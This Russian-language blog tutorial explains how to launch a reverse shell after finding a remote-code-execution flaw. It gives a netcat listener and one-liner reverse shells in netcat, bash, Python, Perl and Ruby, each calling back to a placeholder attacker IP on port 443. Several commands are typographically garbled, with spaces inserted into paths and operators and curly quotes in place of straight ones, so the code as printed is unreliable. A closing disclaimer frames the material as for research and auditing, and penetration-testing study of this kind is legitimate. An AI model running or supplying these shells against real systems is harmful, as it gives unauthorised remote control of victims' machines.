🕵️‍♂️ Как создать обратный шелл |

🕵️‍♂️ Как создать обратный шелл

Мануал
Поскольку мы говорим об обратных шеллах (оболочках), я думаю, было бы неплохо показать, где и как их можно применить.

Как создать обратную оболочку

В общем, когда вы обнаружите уязвимость с возможностью выполнения произвольного кода (RCE), вашим следующим шагом будет запуск обратной оболочки.

Netcat

Netcat – это утилита Unix, которая позволяет устанавливать соединения TCP и UDP, получать оттуда данные и передавать их.

Несмотря на ее полезность и простоту, многие не умеют им пользоваться и незаслуженно обходят ее стороной.

С помощью этой утилиты вы можете выполнить некоторые из этапов тестирования на проникновение.

Это может быть полезно, когда на атакованной машине нет установленных пакетов (или привлечет внимание), есть ограничения (например, IoT/Embedded устройства) и т. д.

Что можно сделать с помощью netcat:

  • Сканировать порты;
  • Форвардить порты;
  • Собирать баннеры сервисов;
  • Смотреть прослушиваемые порты (привязка для обратного подключения);
  • Скачивать и выгружать файлы;
  • Выводить необработанный HTTP-контент;
  • Создать мини-чат.
В общем, с помощью netcat можно заменить некоторые утилиты unix, поэтому этот инструмент можно рассматривать как своего рода комбайн для выполнения определенных задач.
$ nc -nvlp 443
Эта команда открывает TCP-порт 443 на всех интерфейсах, и этот порт будет использоваться далее в примерах.

Netcat

$ nc -e / bin / sh YOUR-IP 443

На мой взгляд, это самый классический пример обратной оболочки, но в современных реалиях netcat может просто не быть установлен на сервере.

Bash

$ bash -i> & / dev / tcp / YOUR-IP / 443 0> & 1
* И этот пример, на мой взгляд, наиболее опасен, потому что на самом деле, кроме интерпретатора bash (sh, ksh, zsh и т. д.), он не требует никакого дополнительного программного обеспечения, а только доступ к подсистеме dev.
Python
$ python -c ‘import socket, subprocess, os; s = socket.socket (socket.AF_INET, socket.SOCK_STREAM); s.connect ((” YOUR-IP “, 443 )); os.dup2 (s.fileno ( ), 0); os.dup2 (s.fileno (), 1); os.dup2 (s.fileno (), 2); p = subprocess.call ([“/ bin / sh”, “- i”]); ‘
* В современных дистрибутивах Python почти всегда присутствует, а стандартной библиотеки вполне достаточно, чтобы сделать обратное соединение.

Perl

$ perl -e ‘use Socket; $ i = ” YOUR-IP “; $ p = 443; socket (S, PF_INET, SOCK_STREAM, getprotobyname (“tcp”)); if (connect (S, sockaddr_in ($ p, inet_aton ($ i)))) {open (STDIN, “> & S”); open (STDOUT, “> & S”); open (STDERR, “> & S”); exec (“/ bin / sh -i”); }; ‘
* Как и Python, почти все современные дистрибутивы Linux имеют Perl в своей системе.
Ruby
$ ruby ​​-rsocket -e’f = TCPSocket.open (” YOUR-IP “, 443) .to_i; exec sprintf (“/ bin / sh -i <&% d> &% d 2> &% d”, f , f, f) ‘
* Ruby встречается в современных дистрибутивах Linux, но гораздо реже, чем Python и Perl.

¯\_(ツ)_/¯

Примечание: Информация для исследования, обучения или проведения аудита. Применение в корыстных целях карается законодательством РФ.

Пожалуйста, не спамьте и никого не оскорбляйте. Это поле для комментариев, а не спамбокс. Рекламные ссылки не индексируются!
Добавить комментарий